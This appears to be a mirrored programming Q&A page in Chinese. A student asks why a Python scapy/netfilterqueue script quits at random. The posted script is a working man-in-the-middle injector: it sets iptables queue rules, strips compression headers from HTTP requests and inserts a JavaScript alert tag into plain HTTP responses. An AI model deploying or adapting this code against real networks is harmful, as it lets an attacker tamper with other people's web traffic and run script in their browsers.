python - Python脚本无故退出
问题描述
我正在学习基本的 python 网络课程。
这是我的代码,应该在标记之前的每个 http 响应中将 javascript 警报函数注入到未加密的 html 中</body>
。
#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
import re
import subprocess
def enable_queuing(enable):
if enable:
subprocess.call("iptables --insert INPUT --jump NFQUEUE --queue-num 0", shell=True)
subprocess.call("iptables --insert OUTPUT --jump NFQUEUE --queue-num 0", shell=True)
else:
subprocess.call("iptables --flush", shell=True)
def set_load(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.Raw):
if scapy_packet.haslayer(scapy.TCP):
if scapy_packet[scapy.TCP].dport == 80: # if http request
# requesting plain-text html from host
modified_load = re.sub("Accept-Encoding:.*?\\r\\n", "", scapy_packet[scapy.Raw].load)
decoded_packet = set_load(scapy_packet, modified_load)
packet.set_payload(str(decoded_packet))
elif scapy_packet[scapy.TCP].sport == 80: # if http response
# injection
modified_load = scapy_packet[scapy.Raw].load.replace("</body>", "<script>alert('hello');</script></body>")
new_packet = set_load(scapy_packet, modified_load)
packet.set_payload(str(new_packet))
packet.accept()
# !execution stops here for no reason!
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
try:
enable_queuing(True)
queue.run()
except KeyboardInterrupt:
print("\nCleaning up...")
enable_queuing(False)
print("Ok")
print("Quitting.")
我检查了输出,new_packet
jsalert()
就在那里。
我的问题是,packet.accept()
脚本通常只是退出。我正在使用 python2 从终端运行它,它就像我按下 CTRL+C 一样停止。这并不总是发生,我一直试图了解是什么导致了它几个小时,但无法弄清楚。
另外,即使脚本没有退出,如果我把它放在前面,js 仍然不会被执行</body>
。但是,如果我像以前一样将它放在头部</head>
,它确实如此,但是随机退出也仍在发生。
我不知道是什么原因造成的。
解决方案
推荐阅读
- android - 约束布局总是在左上角
- android - 如何在模型类 Flutter 中保存复选框的选中值
- python - 设置 ylim span_where python
- vue.js - 检查 Vue.js VNode 是文本节点
- python - Pytorch 收集函数以获取 Deep Q 的当前 Q 值
- sql-server - 数据库恢复失败
- javascript - 如何查找元素、切换状态、等待网络响应和检查类已更改
- c# - 在浏览器中以编程方式为经过身份验证的 AD 用户读取/查看 Blob(PDF 文件)(授予容器级别的基于角色的访问权限)
- swift - 我尝试使用 sourcekit-lsp 设置快速编辑 vim,但 vim-lsp 一直说未安装 sourcekit-lsp
- scala - 如何使用 Circe 删除对象列表中的空值